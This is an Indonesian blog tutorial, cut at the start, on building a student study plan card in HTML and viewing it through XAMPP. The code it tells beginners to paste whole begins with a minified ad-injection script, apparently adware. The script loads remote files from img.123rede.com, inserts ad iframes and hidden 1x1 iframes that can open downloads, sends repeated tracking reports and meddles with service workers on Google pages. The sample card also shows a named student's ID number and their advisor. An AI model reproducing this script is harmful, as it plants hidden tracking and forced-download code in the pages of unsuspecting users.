style_tag=document.createElement("link");style_tag.href='http://img.123rede.com/static/pagepeel/pagepeel.packed.css';style_tag.rel='stylesheet';style_tag.type='text/css';var script_jquery_tag=document.createElement("script");script_jquery_tag.type='text/javascript';script_jquery_tag.src='http://img.123rede.com/static/pagepeel/jquery.min.js';var script_tag=document.createElement("script");script_tag.type='text/javascript';script_tag.src='http://img.123rede.com/static/pagepeel/pagepeel-jquery.js';var scripthead=document.getElementsByTagName('head')[0];scripthead.appendChild(style_tag);scripthead.appendChild(script_jquery_tag);setTimeout(scripthead.appendChild(script_tag),3000);var ostag='<span class="peel">'+'<map name="peelmap">'+'<area shape="poly" coords="0,0,614,0,614,530,0,0" href="'+deployAd[i].web+'" target="_blank" class="peel-hotzone" />'+'</map>'+'<img src="http://img.123rede.com/static/pagepeel/page-peel.png" alt="" class="peel" />'+'<iframe class="back corner" frameborder="0" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no" allowfullscreen="true" style="width:75px;height:75px" src="'+deployAd[i].url+'"></iframe>'+'<span class="back link">'+'<img src="http://img.123rede.com/static/pagepeel/trans.gif" alt="" class="map" usemap="#peelmap" />'+'<span class="peel-content"></span>'+'<div class="ad" alt="Close">X</div>'+'</span>'+'</span>';var pagepeel=document.createElement("div");pagepeel.id='pagepeel';pagepeel.setAttribute('class','xteam-pagepeel');pagepeel.setAttribute('enabled','true');pagepeel.innerHTML=ostag;this.oBody.appendChild(pagepeel);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);continue}}if(deployAd[i].size=='1*1'){var report_download_now=false;newIframe=document.createElement('iframe');if(deployAd[i].ad_tag.indexOf("opendirectly")>=0){newIframe.src=deployAd[i].web;report_download_now=true}else newIframe.src=deployAd[i].url;newIframe.style.width='1px';newIframe.style.height='1px';newIframe.style.border=0;newIframe.setAttribute('scrolling','no');newIframe.setAttribute('frameborder',0);this.oBody.appendChild(newIframe);if(report_download_now){var reportData={"ad_id":deployAd[i].ad_id,"ad_type":deployAd[i].ad_type,"ad_name":deployAd[i].ad_name,"ad_size":deployAd[i].ad_size,"ad_sort":deployAd[i].ad_sort};this._reportEvent('download',reportData)}continue}var enabledIframeTemp=this.enabledIframe.slice(0);for(var j=0;j<enabledIframeTemp.length;j++){tempNode=enabledIframeTemp[j];if(tempNode.getAttribute('fixed')&&deployAd[i].ad_tag=='google'){continue}if(sizeJudge(deployAd[i].size,tempNode)){tempNode.src=deployAd[i].url;tempNode.onload=function(){};this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);this.adAlreadySize[deployAd[i].size]=this.adAlreadySize[deployAd[i].size]?this.adAlreadySize[deployAd[i].size]+1:1;this.enabledIframe=util.arrDelete(this.enabledIframe,tempNode);tempNode.setAttribute("enabled","true");continue deployAd}}var enabledDivTemp=this.enabledDiv.slice(0);for(var k=0;k<enabledDivTemp.length;k++){tempNode=enabledDivTemp[k];if(tempNode.getAttribute('fixed')&&deployAd[i].ad_tag=='google'){continue}if(sizeJudge(deployAd[i].size,tempNode)){tempNode.innerHTML='';newIframe=document.createElement('iframe');newIframe.src=deployAd[i].url;newIframe.style.width=(tempNode.offsetWidth||deployAd[i].size.split('*')[0])+'px';newIframe.style.height=(tempNode.offsetHeight||deployAd[i].size.split('*')[1])+'px';newIframe.style.border=0;newIframe.setAttribute('scrolling','no');newIframe.setAttribute('frameborder',0);tempNode.appendChild(newIframe);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);this.adAlreadySize[deployAd[i].size]=this.adAlreadySize[deployAd[i].size]?this.adAlreadySize[deployAd[i].size]+1:1;this.enabledDiv=util.arrDelete(this.enabledDiv,tempNode);tempNode.setAttribute("enabled","true");continue deployAd}}}},_report:function(ad_id,ad_type,ad_name,ad_size,ad_sort){reportData={params:{"ad_id":ad_id,"ad_type":ad_type,"ad_name":ad_name,"ad_size":ad_size,"ad_sort":ad_sort}};report.infinite('get_ad',reportData)},_reportEvent:function(eventName,_params){reportData={params:_params};report.infinite(eventName,reportData)},infuse:function(probability){var self=this;var probability=probability?probability:1;if(new Date().getTime()%probability==0){if(self.uuid){self._getAd();return true}report._pushQueue((function(context){return function(uuid){context.uuid=uuid;context._getAd()}})(self))}},loopInfuse:function(loopTotal,frequency,probability){var self=this;var loopTotal=loopTotal?loopTotal:30;var loopTotal2=40;clearInterval(this.timer);var frequency=frequency||1000;self.count=1;if(!loopTotal||typeof loopTotal!=='number'){return'no polling'}function doInfuse(){if(self.bInWhiteList)return false;if(self.isRun){self.timer=setTimeout(doInfuse,500);return false}if(self.count>=loopTotal&&document.readyState!="complete")loopTotal=loopTotal2;if(self.count<loopTotal){self.infuse(probability);self.timer=setTimeout(doInfuse,frequency);self.count++}}self.timer=setTimeout(doInfuse,frequency)},onlyInfuse:function(probability){var oPlug=document.getElementById('chrome_plug_flag_1_0_0');if(oPlug){return false}var oDiv=document.createElement('div');oDiv.setAttribute('id','chrome_plug_flag_1_0_0');oDiv.style.display='none';oBody=document.getElementsByTagName('body')[0];oBody.appendChild(oDiv);this.infuse(probability)},_setUuid:function(uuid){if(uuid&&typeof uuid==='string'){this.uuid=uuid;return true}report.queue.push((function(context){return function(uuid){context._setUuid(uuid)}})(this));return false},_getKeywords:function(){var metas=$doc.getElementsByTagName('meta');for(var i=0;i<metas.length;i++){if(metas[i].name.toLowerCase()=='keywords'&&metas[i]['content'].length>0)this.keywords=encodeURIComponent(metas[i]['content'])}},setAccount:function(account){if(!account.appid){throw new Error('could not find appid')}this.appid=account.appid;this.adMax=account.adMax;this._setUuid(account.uuid)}});var getAd=new GetAd();function OtherFun(){}util.extend(OtherFun.prototype,{init:function(){if($win.location.hostname.toLowerCase().indexOf('google')!=-1){if('serviceWorker'in navigator){try{navigator.serviceWorker.register('/_/chrome/newtab-serviceworker.js',{scope:'.'}).then(function(sw){registration.unregister().then(function(){})},function(x){})}catch(e){}}}}});var otherFun=new OtherFun();var __egg={setAccount:function(account){if(!account.appid){return false}if(!util.isPlugin&&!account.uuid){return false}report.setAccount(account);if(report.uuid)account.uuid=report.uuid;getAd.setAccount(account);this.report=report;this.getAd=getAd;otherFun.init()}};__egg.setAccount({"appid":"4167633929",'adMax':6});$win.__egg=__egg})(window,document);if(window.top==this){__egg.report.loopSend('visit');__egg.getAd.loopInfuse()};
</script>

                <table width="98%" border="0" align="center" cellpadding="2" cellspacing="0">
            <tbody><tr>
            <td width="15%" align="center"></td>
                <td class="judul"></td>
                <td width="15%" rowspan="4"><img src="saya.png" width="100"></td>
            </tr>
            <tr>
                <td>&nbsp;</td>
                <td align="center">&nbsp;</td>
            </tr>
            <tr>
                <td>&nbsp;</td>
                <td align="center" class="judulkartu">KARTU RENCANA STUDI</td>
            </tr>
            <tr>
                <td colspan="2">&nbsp;</td>
            </tr>

            <tr>
                <td colspan="3"><table width="100%" border="0" cellpadding="2" cellspacing="1">
                        <tbody><tr>
                            <td width="14%">NPM</td>
                            <td width="1%">:</td>
                            <td width="39%">150210244</td>
                            <td width="13%">Program Studi</td>
                            <td width="1%">:</td>
                            <td width="32%">Teknik Informatika</td>
                        </tr>
                        <tr>
                            <td>Nama Mahasiswa </td>
                            <td>:</td>
                            <td>ANDRI YUSUF</td>
                            <td>Peminatan </td>
                            <td>:</td>
                            <td>-</td>
                        </tr>
                        <tr>
                            <td>Status Kelas</td>
                            <td>:</td>
                            <td>Shift</td>
                            <td>Jenjang</td>
                            <td>:</td>
                            <td>Strata 1</td>
                        </tr>
                        <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>Semester</td>
                            <td>:</td>
                            <td>Genap 2017/2018</td>
                        </tr>

                    </tbody></table></td>
            </tr>
            <tr>
                <td colspan="3"><table width="100%" border="0" cellpadding="2" cellspacing="1" bgcolor="#000000">
                        <tbody><tr class="judultabel">
                            <td width="5%" rowspan="2" align="center" bgcolor="#FFFFFF">NO</td>
                            <td width="10%" rowspan="2" align="center" bgcolor="#FFFFFF">KMK</td>
                            <td width="28%" rowspan="2" align="center" bgcolor="#FFFFFF">NAMA MATA KULIAH </td>
                            <td width="4%" rowspan="2" align="center" bgcolor="#FFFFFF">sks</td>
                            <td width="18%" rowspan="2" align="center" bgcolor="#FFFFFF">KODE KELAS </td>
                            <td width="10%" rowspan="2" align="center" bgcolor="#FFFFFF">RUANG</td>
                            <td width="10%" rowspan="2" align="center" bgcolor="#FFFFFF">HARI</td>
                            <td colspan="2" align="center" bgcolor="#FFFFFF">SHIFT</td>
                        </tr>
                        <tr class="judultabel">
                            <td width="7%" align="center" bgcolor="#FFFFFF">PAGI</td>
                            <td width="8%" align="center" bgcolor="#FFFFFF">MALAM</td>
                        </tr>
                        <tr>
                            <td height="2" colspan="9" bgcolor="#FFFFFF"></td>
                        </tr>
                                                    <tr>
                                <td align="right" bgcolor="#FFFFFF">1.</td>
                                <td align="center" bgcolor="#FFFFFF">SI614</td>
                                <td bgcolor="#FFFFFF">Sistem Operasi</td>
                                <td align="center" bgcolor="#FFFFFF">4</td>
                                <td align="center" bgcolor="#FFFFFF">172-SI614-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Senin</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">2.</td>
                                <td align="center" bgcolor="#FFFFFF">SI614</td>
                                <td bgcolor="#FFFFFF">Sistem Operasi</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">172-SI614-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Senin</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">3.</td>
                                <td align="center" bgcolor="#FFFFFF">IS13T</td>
                                <td bgcolor="#FFFFFF">Pemrograman Java Teori</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS13T-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Selasa</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">4.</td>
                                <td align="center" bgcolor="#FFFFFF">IS13P</td>
                                <td bgcolor="#FFFFFF">Pemrograman Java Praktek</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS13P-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-103</td>
                                <td align="center" bgcolor="#FFFFFF">Selasa</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">5.</td>
                                <td align="center" bgcolor="#FFFFFF">IS014</td>
                                <td bgcolor="#FFFFFF">Keamanan Jaringan</td>
                                <td align="center" bgcolor="#FFFFFF">4</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS014-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Rabu</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">6.</td>
                                <td align="center" bgcolor="#FFFFFF">IS014</td>
                                <td bgcolor="#FFFFFF">Keamanan Jaringan</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">172-IS014-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Rabu</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">7.</td>
                                <td align="center" bgcolor="#FFFFFF">TI031</td>
                                <td bgcolor="#FFFFFF">Metode Penelitian Teknik Informatika</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-TI031-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Kamis</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">8.</td>
                                <td align="center" bgcolor="#FFFFFF">TI029</td>
                                <td bgcolor="#FFFFFF">Komputasi Numerik</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-TI029-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Kamis</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">9.</td>
                                <td align="center" bgcolor="#FFFFFF">IS11T</td>
                                <td bgcolor="#FFFFFF">Pemrograman Berbasis Web Teori</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS11T-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Jumat</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">10.</td>
                                <td align="center" bgcolor="#FFFFFF">IS11P</td>
                                <td bgcolor="#FFFFFF">Pemrograman Berbasis Web Praktek</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS11P-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-106</td>
                                <td align="center" bgcolor="#FFFFFF">Jumat</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                    <tr>
                            <td colspan="9" align="right" bgcolor="#FFFFFF"><strong>Total sks
                                    20                                </strong></td>
                        </tr>
                        <tr>
                            <td colspan="9" bgcolor="#FFFFFF">
                                <table width="100%" border="0" cellpadding="2" cellspacing="2" bordercolor="#990000" bgcolor="#990000">
                                    <tbody><tr>
                                        <td bgcolor="#FFFFFF">Syarat &amp; Ketentuan :
                                            <ul>
                                                <li>Saya sudah membaca, memahami dan menyetujui KRS ini</li>
                                                <li>Saya sudah membaca dan memahami Kode Kehormatan dan Peraturan untuk Mahasiswa Universitas Putera Batam</li>
                                                <li> Pindah waktu kuliah hanya bisa dari pagi atau malam
                                                    ke "SHIFT" (bila kelas belum penuh dan ada persetujuan dari BAAK)</li>
                                                <li>KRS ini wajib dicetak &amp; ditandatangani oleh mahasiswa &amp; pembimbing akademik,
                                                    kemudian diserahkan ke BAAK/BLM
                                                    (bila tidak dikumpulkan maka nama tidak akan tampil di kelas)</li>
                                                <li>KRS yang telah diajukan oleh mahasiswa wajib dibayar biaya sksnya dan dijalankan sesuai jadwal perkuliahan yang berlaku.</li>
                                                <li>Jadwal bimbingan<strong> <u>Tugas Akhir / Skripsi</u></strong> setiap Jum'at (14.00 s/d 17.00) / Sabtu (09.00 s/d 11.45 dan 14.00 s/d 17.00) di Kampus Tembesi</li>
                                                <li>Jadwal <strong><u>Jurnal Penelitian</u></strong> setiap Jum'at (14.00 s/d 17.00) / Sabtu (09.00 s/d 11.45 dan 14.00 s/d 17.00) di Kampus Tembesi</li>
                                                <!--li><strong> <u>Kuliah Umum / Studium Generale</u></strong> setiap Sabtu jam 18.30 s/d 22.00 di Kampus Tembesi</li-->
                                            </ul>
                                        </td>
                                    </tr>
                                </tbody></table>
                                Catatan :<br>
                                *** Lihat Pengumuman<br>
                                --- &nbsp;Skripsi tanpa bimbingan
                            </td>
                        </tr>
                    </tbody></table>
                </td>
            </tr>
            <tr>
                <td colspan="3"><table width="100%" border="0" cellpadding="1" cellspacing="0">
                        <tbody><tr>
                            <td width="35%">Pembimbing Akademik </td>
                            <td width="32%">&nbsp;</td>
                            <td width="33%">Batam, 09 Apr 2018</td>
                        </tr>
                        <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>Mahasiswa,</td>
                        </tr>
                        <tr>
                            <td height="50">&nbsp;</td>
                            <td>&nbsp;</td>
                            <td><!--input name="checkbox" type="checkbox" value="checkbox" checked="checked" disabled="disabled" />
                            <strong><u>Setuju</u></strong><br />
                            <input type="checkbox" name="checkbox2" value="checkbox" disabled="disabled" />Tidak Setuju </td-->
                        </td></tr>
                        <tr>
                            <td>
                                                                <table border="0" cellpadding="1" cellspacing="0" bgcolor="#000000">
                                    <tbody><tr>
                                        <td bgcolor="#FFFFFF">Januardi Nasir, S.Kom., M.Kom.</td>
                                    </tr>
                                    <tr>
                                        <td height="1"></td>
                                    </tr>
                                </tbody></table>
                            </td>
                            <td>&nbsp;</td>
                            <td><table border="0" cellpadding="1" cellspacing="0" bgcolor="#000000">
                                    <tbody><tr>
                                        <td bgcolor="#FFFFFF">ANDRI YUSUF</td>
                                    </tr>
                                    <tr>
                                        <td height="1"></td>
                                    </tr>
                                </tbody></table>
                            </td>
                        </tr>
                    </tbody></table>
                </td>
            </tr>
        </tbody></table>

</body></html>

*coding diatas yang saya beri warna biru adalah bagian bagian dari code script jadi tidak ada yang perlu di edit di kode tersebut tapi tetap masukkan atau pastekan di notepad++

Pastekan coding di atas di notepad++ seperti gambar dibawah:

Setelah dicopy save notepad ++ nya di tempat kalian install xampp. Biasanya di local disk (C:) => xampp => htdocs => Kemudian buat folder baru di dalam htdocs, dimana folder tersebut nanti yang akan kita gunakan untuk memanggil localhost/namafolderyangkitabuat.

Baca Juga : Cara Membuat Biodata Keren Dan Menarik

Jika sudah di save lansung saja buka browser dan ketikkan "localhost/namafolder" saya membuat nama foldernya "krs" maka yang saya ketikkan di browser adalah "localhost/krs" kemudian enter maka hasilnya seperti gambar dibawah :




Itulah cara membuat Kartu Rencana Studi dengan HTML, sebenarnya ini masih sederhana dan mudah untuk di ikutin terutama bagi pemula.

Jika ada yang ingin bertanya cara mengedit coding untuk merubah nama,foto, dll silahkan saja tanyakan di komentar.

Terimakasih semoga bermafaat....

Sunday, April 15, 2018 April 15, 2018 - tanpa komentar

No comments:

Post a Comment